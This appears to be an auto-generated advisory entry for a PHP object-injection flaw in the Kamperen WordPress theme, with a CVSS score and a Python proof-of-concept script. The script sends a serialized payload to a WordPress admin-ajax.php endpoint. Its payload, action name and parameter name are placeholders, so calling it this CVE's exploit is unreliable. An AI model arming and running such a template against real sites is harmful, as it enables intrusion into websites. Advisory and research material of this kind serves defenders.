Deserialization of Untrusted Data vulnerability in Edge-Themes Kamperen kamperen allows Object Injection.This issue affects Kamperen: from n/a through < 1.3.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Edge-Themes Kamperen < 1.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# Proof of Concept for CVE-2026-32510
# This script demonstrates sending a malicious payload to trigger deserialization.
# Note: Actual gadget chain depends on available classes in the target theme.
import requests
import sys
# Target URL (replace with actual target)
target_url = "http://example.com/wp-admin/admin-ajax.php"
# PHP Object Injection Payload
# Placeholder payload representing a serialized object.
# In a real scenario, this would be generated using a tool like PHPGGC.
payload = 'O:8:"StdClass":0:{}'
data = {
"action": "vulnerable_theme_action", # Replace with actual action name if known
"insecure_param": payload
}
try:
response = requests.post(target_url, data=data)
if response.status_code == 200:
print("[+] Payload sent successfully. Check target for behavior changes.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")